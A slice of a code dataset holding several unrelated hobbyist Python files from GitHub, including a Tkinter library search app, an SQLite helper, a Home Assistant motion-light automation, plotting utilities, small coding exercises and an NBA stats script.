input[\"target\"][\"lx\"], input[\"target\"][\"ly\"]\r\n amp = input[\"amp\"]\r\n noise = input[\"noise\"]\r\n max_m = input[\"target\"][\"max_m\"]\r\n max_n = input[\"target\"][\"max_n\"]\r\n list_m = np.arange(max_m)\r\n list_n = np.arange(max_n)\r\n # ndat = input[\"learning\"][\"ndat\"]\r\n ntest = input[\"learning\"][\"ntest\"]\r\n pkl_file = input[\"pkl_surface_test\"]\r\n\r\n data = []\r\n print(\"make_test_data\")\r\n print(\"out=\", pkl_file)\r\n for m, n in itertools.product(list_m, list_n):\r\n print(m, n)\r\n for i in range(ntest):\r\n x, y, z = make_surface(\r\n m=m, n=n, nx=nx, ny=ny, lx=lx, ly=ly, amp=amp, noise=noise)\r\n row = {\"m\": m, \"n\": n, \"z\": z, \"x\": x, \"y\": y}\r\n data.append(row)\r\n\r\n with open(pkl_file, 'wb') as f:\r\n pickle.dump(data, f)\r\n\r\n\r\ndef load_data(*files, num_data=0):\r\n if len(files) == 1:\r\n return load_data_1(files[0], num_data=num_data)\r\n elif len(files) == 2:\r\n return load_data_2(files[0], files[1], num_data=num_data)\r\n\r\n\r\ndef load_data_2(file1, file2, num_data=0):\r\n text = str(num_data)\r\n if num_data == 0:\r\n text = \"\"\r\n\r\n new_file = os.path.dirname(file1) + \"/\" \\\r\n + os.path.basename(file1).split(\".\")[0] + \"_\" \\\r\n + os.path.basename(file2).split(\".\")[0] + \"_\" \\\r\n + text + \".pkl\"\r\n\r\n if not os.path.isfile(new_file):\r\n print(\"make combined file: \", new_file)\r\n new_file = combine_pkl_data(file1, file2,\r\n new_file, num_data=num_data)\r\n\r\n print(\"load_data of input\", file1, file2)\r\n print(\"load_data:\", new_file)\r\n\r\n with open(new_file, \"rb\") as f:\r\n data = pickle.load(f)\r\n\r\n # z1, z2, t = [], [], []\r\n # ind = (np.random.permutation(len(data))[:num_data])\r\n\r\n # for i in ind: # 2019.10.07 reducing data for memory flow\r\n # row = data[i]\r\n # z1.append([row[\"z1\"]])\r\n # z2.append([row[\"z2\"]])\r\n # t.append([row[\"m\"], row[\"n\"]])\r\n\r\n z1, z2, t = [], [], []\r\n\r\n for d in data:\r\n z1.append([d[\"z1\"]])\r\n z2.append([d[\"z2\"]])\r\n t.append([d[\"info\"]])\r\n\r\n z1 = np.array(z1)\r\n z2 = np.array(z2)\r\n t = np.array(t)\r\n return (z1, z2, t)\r\n\r\n\r\ndef combine_pkl_data(file1, file2, new_file, num_data=0):\r\n\r\n with open(file1, \"rb\") as f:\r\n detec_data = pickle.load(f)\r\n with open(file2, \"rb\") as f:\r\n mirror_data = pickle.load(f)\r\n\r\n # if len(data1) != len(data2):\r\n # print(\"error @ combine_pkl_data in maiking_2D_image_***\")\r\n\r\n # if num_data == 0:\r\n # num_data = len(data1)\r\n\r\n # ind = (np.random.permutation(len(data1))[:num_data])\r\n\r\n # data = []\r\n # for i in ind: # 2019.10.07 reducing data for memory flow\r\n # row1 = data1[i]\r\n # row2 = data2[i]\r\n # # print( i, row1[\"m\"],row1[\"n\"],row2[\"m\"],row2[\"n\"])\r\n # row = {\r\n # \"m\": row1[\"m\"],\r\n # \"n\": row1[\"n\"],\r\n # \"z1\": row1[\"z\"],\r\n # \"z2\": row2[\"z\"]}\r\n # data.append(row)\r\n\r\n i = 0\r\n data = []\r\n for e_data in mirror_data[\"elip\"]:\r\n row = {\r\n \"info\": detec_data[i][\"info\"],\r\n \"z1\": detec_data[i][\"z\"],\r\n \"z2\": e_data[\"z\"]\r\n }\r\n i += 1\r\n data.append(row)\r\n\r\n for m_data in mirror_data[\"mode\"]:\r\n row = {\r\n \"info\": detec_data[i][\"info\"],\r\n \"z1\": detec_data[i][\"z\"],\r\n \"z2\": m_data[\"z\"]\r\n }\r\n i += 1\r\n data.append(row)\r\n\r\n with open(new_file, 'wb') as f:\r\n pickle.dump(data, f)\r\n\r\n return new_file\r\n\r\n\r\ndef load_data_1(file, num_data=0):\r\n file = reduce_pkl_data(file, num_data=num_data)\r\n\r\n x = []\r\n t = []\r\n with open(file, \"rb\") as f:\r\n data = pickle.load(f)\r\n\r\n if num_data == 0:\r\n num_data = len(data)\r\n\r\n ind = (np.random.permutation(len(data))[:num_data])\r\n\r\n for i in ind: # 2019.10.07 reducing data for memory flow\r\n row = data[i]\r\n x.append([row[\"z\"]])\r\n t.append(row[\"n\"])\r\n\r\n x = np.array(x)\r\n t = np.array(t)\r\n return(x, t)\r\n\r\n\r\ndef reduce_pkl_data(file, num_data=0):\r\n # print(file)\r\n if not os.path.isfile(file):\r\n print(\"no such file\", file)\r\n print(\"exit()\")\r\n exit()\r\n\r\n if num_data == 0:\r\n return file\r\n\r\n file_out = os.path.splitext(file)[0] + \"_\" + str(num_data) + \".pkl\"\r\n # print(file_out)\r\n if os.path.isfile(file_out):\r\n return file_out\r\n\r\n with open(file, \"rb\") as f:\r\n data = pickle.load(f)\r\n\r\n data = np.array(data)\r\n ind = (np.random.permutation(len(data))[:num_data])\r\n data = data[ind]\r\n\r\n print(\"save new_file:\", file_out)\r\n with open(file_out, 'wb') as f:\r\n pickle.dump(data, f)\r\n\r\n return file_out\r\n\r\n\r\ndef load_surf_data(file):\r\n x = []\r\n y = []\r\n z = []\r\n t = []\r\n with open(file, \"rb\") as f:\r\n data = pickle.load(f)\r\n\r\n for row in data:\r\n x.append([row[\"x\"]])\r\n y.append([row[\"y\"]])\r\n z.append([row[\"z\"]])\r\n t.append((row[\"m\"], row[\"n\"]))\r\n\r\n x = np.array(x)\r\n y = np.array(y)\r\n z = np.array(z)\r\n t = np.array(t)\r\n\r\n return (x, y, z, t)\r\n\r\n\r\ndef make_surface(nx=16, ny=16, m=1, n=1, lx=1., ly=1., amp=1., noise=0):\r\n xx = np.linspace(-0.5, 0.5, nx) * lx\r\n yy = np.linspace(-0.5, 0.5, ny) * ly\r\n x, y = np.meshgrid(xx, yy, indexing=\"ij\")\r\n phi = np.random.rand() * 2. * np.pi\r\n oz = np.zeros((nx, ny), dtype=np.complex)\r\n oz[m, n] = np.sin(phi) + 1j * np.cos(phi)\r\n oz[-m, -n] = np.sin(phi) - 1j * np.cos(phi)\r\n oz = oz.transpose() * (nx * ny / 2) * amp / 2.\r\n oi = np.fft.ifftn(oz)\r\n \"\"\"\r\n os = np.fft.fftshift(oz)\r\n fig,ax = plt.subplots(1,3)\r\n ax[0].imshow(np.abs(os))\r\n ax[1].imshow(np.real(oi))\r\n ax[2].imshow(np.imag(oi))\r\n plt.show()\r\n \"\"\"\r\n oi = oi + noise * np.random.randn(nx, ny)\r\n return x, y, np.real(oi)\r\n\r\n\r\ndef make_test_image(nx=16, ny=16, m=1, n=1, lx=1., ly=1.):\r\n # xx = np.linspace(-nx/2,nx/2,nx)\r\n # yy = np.linspace(-ny/2,ny/2,ny)\r\n\r\n xx = np.linspace(-0.5, 0.5, nx) * lx\r\n yy = np.linspace(-0.5, 0.5, ny) * ly\r\n x, y = np.meshgrid(xx, yy, indexing=\"ij\")\r\n kx, ky = 2. * np.pi * m / lx, 2. * np.pi * n / ly\r\n # zz = np.sin(x*2.*np.pi*m + y*2.*np.pi*n).transpose()\r\n zz = np.sin(kx * x + ky * y).transpose()\r\n # zz = np.array([np.sin(xx*2.*np.pi/m + y*2.*np.pi/n) for y in yy])\r\n\r\n fz = np.fft.fftn(zz)\r\n print(fz[m, n])\r\n print(fz[-m, -n])\r\n fs = np.fft.fftshift(fz)\r\n iz = np.fft.ifftn(fz)\r\n\r\n print(np.shape(fz))\r\n oz = np.zeros((nx, ny))\r\n oz[m, n] = 1.\r\n oz[-m, -n] = 1.\r\n oz = oz.transpose() * (nx * ny / 2)\r\n oi = np.fft.ifftn(oz)\r\n os = np.fft.fftshift(oz)\r\n\r\n fig, ax = plt.subplots(2, 3)\r\n ax[0][0].imshow(zz)\r\n ax[0][1].imshow(np.abs(fs))\r\n ax[0][2].imshow(np.abs(os))\r\n ax[1][0].imshow(np.real(iz))\r\n ax[1][1].imshow(np.imag(iz))\r\n ax[1][2].imshow(np.real(oi))\r\n # ax[1][2].imshow(np.abs(iz))\r\n plt.show()\r\n\r\n print(np.allclose(zz, iz))\r\n print(np.real(fz[n, :]))\r\n print(np.abs(oz[n, :]))\r\n\r\n\r\ndef surf_figure(file):\r\n (x, t) = load_data(file)\r\n fig = plt.figure()\r\n temp1 = np.random.randint(0, np.shape(x)[0], size=16)\r\n for i, dat in enumerate(x[temp1]):\r\n ax = fig.add_subplot(4, 4, i + 1)\r\n ax.set_title(t[temp1[i]])\r\n ax.set_xticks([], minor=False)\r\n ax.set_yticks([], minor=False)\r\n ax.imshow(dat[0, :, :])\r\n\r\n plt.savefig(file.split(\".\")[0] + \".png\")\r\n plt.close()\r\n # plt.show()\r\n\r\n\r\nif __name__ == '__main__':\r\n # make_test_image(m=1,n=2,nx=16,ny=32,lx=10.,ly=10.)\r\n # x,y,z = make_surface(m=1,n=2,nx=16,ny=32,lx=10.,ly=10.,amp=12.)\r\n # print(np.max(z),np.min(z))\r\n # main()\r\n # test()\r\n\r\n # surf_figure(\"plk_surf_teacher.pkl\")\r\n # exit()\r\n\r\n with open(\"input0.json\", \"r\") as f:\r\n input = json.load(f)\r\n input[\"pkl_file_teacher\"] = 'train_data.pkl'\r\n input[\"pkl_file_test\"] = 'test_data.pkl'\r\n\r\n pkl_file_teacher = input[\"pkl_file_teacher\"]\r\n pkl_file_test = input[\"pkl_file_test\"]\r\n\r\n make_teacher_data(input)\r\n make_test_data(input)\r\n (x_train, t_train) = load_data(pkl_file_teacher)\r\n (x_test, t_test) = load_data(pkl_file_test)\r\n print(np.shape(x_train))\r\n\r\n print(np.shape(t_train))\r\n\r\n temp1 = np.random.randint(0, np.shape(x_train)[0], size=10)\r\n temp2 = np.random.randint(0, np.shape(x_test)[0], size=10)\r\n\r\n print(t_train[temp1])\r\n print(t_test[temp2])\r\n fig, ax = plt.subplots(2, 10)\r\n for i, dat in enumerate(x_train[temp1]):\r\n ax[0][i].imshow(dat[0, :, :])\r\n for i, dat in enumerate(x_test[temp2]):\r\n ax[1][i].imshow(dat[0, :, :])\r\n plt.show()\r\n","repo_name":"Hirochon/laboratory","sub_path":"mlphase/making_2D_image_20191028.py","file_name":"making_2D_image_20191028.py","file_ext":"py","file_size_in_byte":10022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"14000237533","text":"# Accepted\n# Python 3\n\n\"\"\"\nDetect a cycle in a linked list. Note that the head pointer may be 'None' if the list is empty.\n\nA Node is defined as: \n \n class Node(object):\n def __init__(self, data = None, next_node = None):\n self.data = data\n self.next = next_node\n\"\"\"\n\n\ndef has_cycle(head):\n try:\n if head.next:\n return has_cycle(head.next)\n else:\n return 0\n except:\n return 1\n \n\n","repo_name":"abidkhan484/hacerrankScraping","sub_path":"scrapeHackerrankCode/codes/detect-whether-a-linked-list-contains-a-cycle.py","file_name":"detect-whether-a-linked-list-contains-a-cycle.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"41435488192","text":"\"\"\"Unit test of QMTypes.py\"\"\"\n\nimport unittest\nfrom QMTypes import *\nimport classify\n\nclassifier = classify.Classifier(inputDict, outputDict)\n\nclass KnownTokens(unittest.TestCase):\n \"\"\"Contains test string tokens, correctly identified classes and their\nvalue\"\"\"\n knownTokens = (('1', Number, '1'),\n ('-3', Number, '-3'),\n ('-3.453234', Number, '-3.453234'),\n ('.1', Number, '.1'),\n ('-.7', Number, '-.7'),\n ('3.1453e-10', Number, '3.1453e-10'),\n ('-14E200', Number, '-14E200'),\n\n ('A', Operator, 'A'),\n ('b', Operator, 'b'),\n ('z84zfex3', Operator, 'z84zfex3'),\n\n ('+', Operation, '+'),\n ('-', Operation, '-'),\n ('*', Operation, '*'),\n ('/', Operation, '/'),\n ('^', Operation, '^'),\n \n ('<x|', Bra, 'x'),\n ('<a01234|', Bra, 'a01234'),\n ('<x7y5s7x920x4|', Bra, 'x7y5s7x920x4'),\n\n ('|psi>', Ket, 'psi'),\n ('|b56789>', Ket, 'b56789'),\n ('|jf83nx0293xef>', Ket, 'jf83nx0293xef'))\n\n def testInputDictOnKnownTokens(self):\n \"\"\"input dictionary should produce known classes from known tokens\"\"\"\n for token, Type, value in self.knownTokens:\n result = classifier.toClass(token)\n self.assertEqual(Type, result.__class__)\n\n def testOutputDictOnKnownClasses(self):\n \"\"\"output dictionary should produce known tokens from known classes\"\"\"\n for token, Type, value in self.knownTokens:\n result = classifier.toToken(Type(value))\n self.assertEqual(token, result)\n\nclass BadTokens(unittest.TestCase):\n \"\"\"Contains invalid Tokens\"\"\"\n badTokens = ('-1-', '-.a', '3a', '20x320x93E-10', '&', '$', '@', '<<a|',\n '|a|', '<>', '1..')\n\n def testBadTokens(self):\n \"\"\"bad tokens should raise ClassificationError\"\"\"\n for token in self.badTokens:\n self.assertRaises(classify.ClassificationError,\n classifier.toClass, token)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"gacohoon/Quantum-Mechanics-Calculator","sub_path":"QMTypesTest.py","file_name":"QMTypesTest.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"71549082958","text":"from sqlite3 import *\n\nfrom data_sql import DataTypeSQL\nfrom typing import *\n\n\nclass SQLBase:\n\n # Khởi tạo đối tượng:\n # private: không cho đối tượng\n def __init__(self,\n path: str | None = \"\",\n ) -> None:\n self.path = path\n self.cursor = None # giá trị None là chưa kết nối\n self.db = None\n\n def connect(self):\n with connect(self.path) as db:\n cursor = db.cursor()\n self.cursor = cursor\n self.db = db\n\n # CRUD: Create - Read - Update - Delete:\n\n def create(self,\n table_name: str,\n *attr\n ):\n if self.cursor is None:\n raise Error\n\n query = f'''\n CREATE TABLE IF NOT EXISTS {table_name} {attr};\n '''.replace('\\'','')\n print(query)\n print(attr)\n\n try:\n self.cursor.execute(query)\n\n except Exception as e:\n print(\"Lỗi: \",str(e))\n\n # Chức năng xóa bảng ra khỏi DB:\n def drop(self,\n table_name: str,\n ):\n if self.cursor is None:\n raise Error\n query = f'''DROP TABLE {table_name}'''\n self.cursor.execute(query)\n\n def insert(self,\n table_name: str,\n col_names: List[str],\n values: List[str]\n ):\n if self.cursor is None:\n raise Error\n \n para = ','.join([\"?\" for _ in [col_names,]])\n col_names = ','.join(col_names)\n # print(type(col_names), type(values))\n\n\n query = f'''\n INSERT INTO {table_name} ({col_names})\n VALUES ({para});'''\n print(query)\n values = tuple(values)\n # print(values)\n self.cursor.execute(query, values)\n self.db.commit()\n\n\n\n","repo_name":"KiLopFD/Python-19__2023","sub_path":"buoi_18/base_sql.py","file_name":"base_sql.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"1910952517","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nfrom tkinter import messagebox\r\nfrom PIL import ImageTk,Image\r\nimport os,glob\r\nimport mysql.connector\r\nfrom mysql.connector import Error\r\n\r\nclass Search(Tk):\r\n def __init__(self):\r\n super().__init__()\r\n f = StringVar()\r\n g = StringVar()\r\n self.title(\"Search Student\")\r\n self.maxsize(850,560)\r\n self.canvas = Canvas(width=1366, height=768)\r\n self.canvas.pack()\r\n self.iconbitmap(r'libico.ico')\r\n self.resizable(0,0)\r\n j=0\r\n r=200\r\n for i in range(5):\r\n c=str(224499+r)\r\n Frame(self,width=1370,height =768,bg =\"#\"+c ).place(x=j,y=0)\r\n j=j+100\r\n r=r+1000\r\n l1=Label(self,text=\"Search Student\",bg=\"#\"+c, font=(\"Calibri\",20,'bold')).place(x=290,y=40)\r\n l = Label(self, text=\"Search By\",bg=\"#\"+c, font=(\"Calibri\", 15, 'bold')).place(x=180, y=100)\r\n\r\n\r\n def insert(data):\r\n self.listTree.delete(*self.listTree.get_children())\r\n for row in data:\r\n self.listTree.insert(\"\",\"end\",text = row[0], values = (row[1],row[2],row[3]))\r\n\r\n\r\n def ge():\r\n if (len(self.entry.get())) == 0:\r\n messagebox.showinfo('Error', 'First select a item')\r\n elif (len(self.combo.get())) == 0:\r\n messagebox.showinfo('Error', 'Enter the '+self.combo.get())\r\n elif self.combo.get() == 'Name':\r\n try:\r\n self.conn = mysql.connector.connect(host='localhost',\r\n database='library',\r\n user='root',\r\n password='')\r\n self.mycursor = self.conn.cursor()\r\n name = self.entry.get()\r\n self.mycursor.execute(\"Select * from student where name like %s\",['%'+name+'%'])\r\n pc = self.mycursor.fetchall()\r\n if pc:\r\n insert(pc)\r\n else:\r\n messagebox.showinfo(\"Oop's\",\"Name not found\")\r\n except Error:\r\n messagebox.showerror(\"Error\", \"something is wrong\")\r\n elif self.combo.get() == 'Admission':\r\n try:\r\n self.conn = mysql.connector.connect(host='localhost',\r\n database='library',\r\n user='root',\r\n password='')\r\n self.mycursor = self.conn.cursor()\r\n id = self.entry.get()\r\n self.mycursor.execute(\"Select * from student where admission like %s\", ['%' +id+ '%'])\r\n pc = self.mycursor.fetchall()\r\n if pc:\r\n insert(pc)\r\n else:\r\n messagebox.showinfo(\"Oop's\", \"Admission not found\")\r\n except Error:\r\n messagebox.showerror(\"Error\", \"something is wrong\")\r\n\r\n img = ImageTk.PhotoImage(Image.open('C:\\\\Users\\\\Administrator\\\\Documents\\\\library_system\\\\images\\\\button_search (3).png'))\r\n self.b= Button(self,image = img,borderwidth = \"0\",highlightthickness = 0,bg=\"#\"+c, bd = 0,command= ge )\r\n self.b.photo = img\r\n self.b.place(x=380,y=170)\r\n self.combo=ttk.Combobox(self,textvariable=g,values=[\"Name\",\"Admission\"],width=40,state=\"readonly\")\r\n self.combo.insert(0,\"Search By?\")\r\n self.combo.place(x = 310, y = 105)\r\n self.entry = Entry(self,textvariable=f,width=43)\r\n self.entry.place(x=310,y=145)\r\n self.la = Label(self, text=\"Enter\",bg = \"#\"+c, font=(\"Calibri\", 15, 'bold')).place(x=180, y=140)\r\n\r\n def handle(event):\r\n if self.listTree.identify_region(event.x,event.y) == \"separator\":\r\n return \"break\"\r\n\r\n\r\n self.listTree = ttk.Treeview(self, height=13,columns=('Student Name', 'admission', 'Form'))\r\n self.vsb = ttk.Scrollbar(self,orient=\"vertical\",command=self.listTree.yview)\r\n self.listTree.configure(yscrollcommand=self.vsb.set)\r\n self.listTree.heading(\"#0\", text='Student ID', anchor='w')\r\n self.listTree.column(\"#0\", width=100, anchor='w')\r\n self.listTree.heading(\"Student Name\", text='Student Name')\r\n self.listTree.column(\"Student Name\", width=200, anchor='center')\r\n self.listTree.heading(\"admission\", text='admission')\r\n self.listTree.column(\"admission\", width=200, anchor='center')\r\n self.listTree.heading(\"Form\", text='Form')\r\n self.listTree.column(\"Form\", width=200, anchor='center')\r\n self.listTree.place(x=40, y=240)\r\n self.vsb.place(x=748,y=240,height=287)\r\n ttk.Style().configure(\"Treeview\", font=('Calibri', 15))\r\n\r\nSearch().mainloop()","repo_name":"rooneybora/library_system","sub_path":"Search_Student.py","file_name":"Search_Student.py","file_ext":"py","file_size_in_byte":4902,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"12632805536","text":"from pprint import pprint\nfrom ast import literal_eval\n\ndata = \"\"\"\nlayout: post\ntitle: 没有馅儿的包子\ndate: 2020-08-22 07:03\ncomments: true\ncategories: [\"书摘\",\"懒惰\"]\n\"\"\".strip()\n\narr = list((item.split(\": \") for item in data.split(\"\\n\")))\nres = dict(arr)\nprint(\"<>\" * 40)\nprint(literal_eval(res['categories']))\nprint(\"<>\" * 40)\nres['categories'] = literal_eval(res['categories'])\n\nprint(res)\n\ndata1 = \"\"\"\nlayout: post\ntitle: 没有馅儿的包子\ndate: 2020-08-22 07:03\ncomments: true\ncategories:\n\"\"\".strip()\n\narr = list((item.split(\": \") for item in data1.split(\"\\n\")))\nprint(\">\" * 60)\nfor index in range(len(arr)):\n print(\"*\" * 60)\n print(arr[index][0])\n if arr[index][0] == \"categories:\":\n print(\">>> categories >>>\")\n arr[index][0] = \"categories\"\n arr[index].append(\"[]\")\n pprint(arr[index])\npprint(arr)\nprint(\">\" * 60)\nres = dict(arr)\nres['categories'] = literal_eval(res['categories'])\n\nprint(res)","repo_name":"liuhui998/simple_blog","sub_path":"blog/data/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"2105514835","text":"import appdaemon.plugins.hass.hassapi as hass\nimport pprint\n\nclass MovementLight(hass.Hass):\n def initialize(self):\n self.light = self.args.get(\"light\", \"\")\n self.motion = self.split_device_list(self.args[\"motion\"])\n self.timeout = self.args.get(\"timeout\", 120)\n self.use_sun = self.args.get(\"use_sun\", \"true\") == \"true\"\n self.delay = self.args.get(\"delay\", 0)\n self.timeout_handler = None\n self.delay_handler = None\n self.log(\"MovementLight init: {}\".format(pprint.pformat(self.__dict__['args'])))\n for motion in self.motion:\n self.log(\"listening to: {}\".format(motion))\n self.listen_state(self.on_motion, motion)\n\n def on_motion(self, entity, attribute, old, new, kwargs):\n self.log(\"motion state changed ({})\".format(new))\n if (self.use_sun and self.sun_down() or not self.use_sun) and (\n new == \"on\" or new == \"active\"\n ):\n self.log(\"motion on and sun_down\")\n if self.delay != 0:\n if self.delay_handler is not None:\n self.delay_handler = self.cancel_timer(self.delay_handler)\n self.delay_handler = self.run_in(self.after_delay, self.delay)\n else:\n self.restart_and_activate()\n\n def restart_and_activate(self):\n self.log(\"restart_and_activate\")\n if self.timeout_handler is not None:\n self.log(\"timer exists, resetting\")\n self.timeout_handler = self.cancel_timer(self.timeout_handler)\n self.activate()\n if self.timeout != 0:\n self.log(\"setting timeout\")\n self.timeout_handler = self.run_in(self.on_timeout, self.timeout)\n\n def after_delay(self, *_):\n self.log(\"after delay\")\n if (\n self.use_sun and self.sun_down() or not self.use_sun\n ) and self.get_motion_state():\n self.log(\"starting after delay\")\n self.restart_and_activate()\n\n def activate(self):\n self.log(\"movement light activating\")\n self.turn_on(self.light)\n\n def deactivate(self):\n self.log(\"movement light deactivating\")\n self.timeout_handler = None\n self.turn_off(self.light)\n\n def on_timeout(self, *_):\n self.log(\"on timeout\")\n # if the motion sensor is still on, don't turn off just yet\n if self.get_motion_state():\n self.log(\n \"{} is still detecting movement (state: {}),\"\n \"not turning off the light\".format(self.motion, self.get_motion_state())\n )\n self.timeout_handler = self.run_in(self.on_timeout, self.timeout)\n else:\n self.log(\"no movement, turning off\")\n self.deactivate()\n\n def get_motion_state(self, *_):\n for motion in self.motion:\n self.log(\"motion {}\".format(self.get_state(motion)))\n if self.get_state(motion) == \"on\" or self.get_state(motion) == \"active\":\n return True\n return False\n","repo_name":"nivekmai/appdaemon-config","sub_path":"apps/movementlight.py","file_name":"movementlight.py","file_ext":"py","file_size_in_byte":3028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"37632998341","text":"from typing import Optional, Tuple\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef complex_hinton(\n matrix: np.ndarray,\n cmap: mpl.colors.Colormap = plt.cm.hsv,\n normalization: Optional[float] = None,\n max_square_frac: float = 0.9375,\n ax: Optional[plt.Axes] = None,\n) -> None:\n ax = ax if ax is not None else plt.gca()\n normalized_angles = (np.angle(matrix) % (2 * np.pi)) / (2 * np.pi)\n lengths = np.sqrt(np.abs(matrix))\n if normalization is None:\n normalization = np.max(lengths)\n normalized_lengths = max_square_frac * lengths / normalization\n num_rows, _ = matrix.shape\n for (row, col), length in np.ndenumerate(normalized_lengths):\n color = cmap(normalized_angles[row, col])\n rect = plt.Rectangle(\n [col - length / 2, row - length / 2],\n length,\n length,\n facecolor=color,\n edgecolor=(0, 0, 0, 0),\n )\n ax.add_patch(rect)\n ax.patch.set_facecolor((0, 0, 0, 0))\n ax.autoscale_view()\n ax.invert_yaxis()\n ax.set_aspect(\"equal\")\n\n\ndef make_annulus_triangulation(\n num_angle_points: int,\n inner_radius: float,\n outer_radius: float,\n) -> mpl.tri.Triangulation:\n angles = np.linspace(0, 2 * np.pi, num_angle_points)\n unit_xs = np.cos(angles)\n unit_ys = np.sin(angles)\n inner_xs = inner_radius * unit_xs\n inner_ys = inner_radius * unit_ys\n outer_xs = outer_radius * unit_xs\n outer_ys = outer_radius * unit_ys\n xs = np.hstack([inner_xs, outer_xs])\n ys = np.hstack([inner_ys, outer_ys])\n inner_triangles = np.array(\n [[j + 1, j, num_angle_points + j] for j in range(num_angle_points - 1)]\n )\n outer_triangles = np.array(\n [\n [num_angle_points + j, num_angle_points + j + 1, j + 1]\n for j in range(num_angle_points - 1)\n ]\n )\n triangles = np.vstack([inner_triangles, outer_triangles])\n return mpl.tri.Triangulation(\n x=xs,\n y=ys,\n triangles=triangles,\n )\n\n\ndef cyclic_cbar(\n num_angle_points: int = 2**8 + 1,\n inner_radius: float = 0.5,\n outer_radius: float = 1.0,\n cmap: mpl.colors.Colormap = plt.cm.hsv,\n border_color: str = \"k\",\n border_width: float = 1.0,\n ax: Optional[plt.Axes] = None,\n) -> None:\n triangulation = make_annulus_triangulation(\n num_angle_points=num_angle_points,\n inner_radius=inner_radius,\n outer_radius=outer_radius,\n )\n angles = np.arctan2(triangulation.y, triangulation.x)\n normalized_angles = (angles % (2 * np.pi)) / (2 * np.pi)\n ax = ax if ax is not None else plt.gca()\n ax.tripcolor(\n triangulation,\n normalized_angles,\n cmap=cmap,\n rasterized=True,\n shading=\"gouraud\",\n )\n angles = np.linspace(0, 2 * np.pi, num_angle_points)\n ax.plot(\n inner_radius * np.cos(angles),\n inner_radius * np.sin(angles),\n color=border_color,\n linewidth=border_width,\n )\n ax.plot(\n outer_radius * np.cos(angles),\n outer_radius * np.sin(angles),\n color=border_color,\n linewidth=border_width,\n )\n ax.set_aspect(\"equal\")\n ax.axis(\"off\")\n\n\ndef complex_hinton_plot(\n matrix: np.ndarray,\n cmap: plt.Axes = plt.cm.hsv,\n normalization: Optional[float] = None,\n max_square_frac: float = 0.9375,\n border_color: str = \"k\",\n axs: Optional[Tuple[plt.Axes, plt.Axes]] = None,\n) -> None:\n if axs is None:\n _, axs = plt.subplots()\n complex_hinton(matrix=matrix, cmap=cmap, normalization=normalization, ax=axs)\n #cyclic_cbar(cmap=cmap, border_color=border_color, ax=axs[1])","repo_name":"namnguyen0510/Quantum-DNA-Encoder","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":3660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74964003598","text":"'''\nCalculate even_prefix sum for given array\nInput A= [4,1,0,-2,3,2,5]\nop=[4,4,4,4,7,7,12]\n'''\n\ndef even_prefix_sum(A):\n N = len(A)\n ans = [A[0],A[0]]\n for i in range(2,N):\n temp = ans[-1]\n if i %2 == 0:\n temp+=A[i]\n ans.append(temp)\n return ans\n\ndef odd_prefix_sum(A):\n N = len(A)\n ans = [0,A[1]]\n for i in range(2,N):\n temp = ans[-1]\n if i %2 != 0:\n temp+=A[i]\n ans.append(temp)\n return ans\n\n\nif __name__ == '__main__':\n A = [4, 1, 0, -2, 3, 2, 5]\n print(even_prefix_sum(A))\n print(odd_prefix_sum(A))\n","repo_name":"bpnsingh/practice","sub_path":"scaler/day12/even_odd_prefix_sum.py","file_name":"even_odd_prefix_sum.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1203393655","text":"# importing necessary libraries\r\nimport numpy as np\r\nimport pandas as pd\r\nimport glob\r\nimport os\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.metrics import plot_confusion_matrix\r\nfrom sklearn.metrics import classification_report\r\nfrom sklearn.model_selection import GridSearchCV\r\n\r\n\r\n\r\n# Possible warnings are ignored\r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\n\r\n# All the files that start with string 'nba' in the project file are joined\r\njoined_files = os.path.join(r\"local_path\", \"nba*.csv\") # insert the files' local path between \"\"\r\n\r\n# The list of all the files that are joined\r\njoined_list = glob.glob(joined_files)\r\n\r\n# Concatenation of the files\r\ndf = pd.concat(map(pd.read_csv, joined_list), ignore_index=True)\r\n\r\n# Content of the concatenated files are written into a single newly created file named 'combined.csv'\r\ncombined = df\r\ncombined.to_csv(\"combined.csv\", index=False)\r\n\r\n# File 'combined.csv' is read into a dataFrame\r\ndataFrame = pd.read_csv('combined.csv')\r\n# NaN valued cells are filled with 0 instead\r\ndataFrame = dataFrame.fillna(0)\r\n\r\n# To avoid problems that may occur because of data shortage\r\n# only players who played at least 10 minutes per game through a 82 game season are added to the dataframe\r\n# That's why players who had a total of at least 820 minutes played(MP) are selected\r\ndataFrame = dataFrame[dataFrame.MP >= 820]\r\n\r\n# To use the primary position of players who can play at multiple positions\r\n# unique values on 'Pos' column are found, based on that all dual values are replaced with only the primary positions\r\n\r\n# print('Possible positions a player can play at:' ,dataFrame.Pos.unique())\r\n\r\ndataFrame = dataFrame.replace(\"PG-SG\", \"PG\")\r\ndataFrame = dataFrame.replace(\"SG-PG\", \"SG\")\r\ndataFrame = dataFrame.replace(\"SG-SF\", \"SG\")\r\ndataFrame = dataFrame.replace(\"SF-SG\", 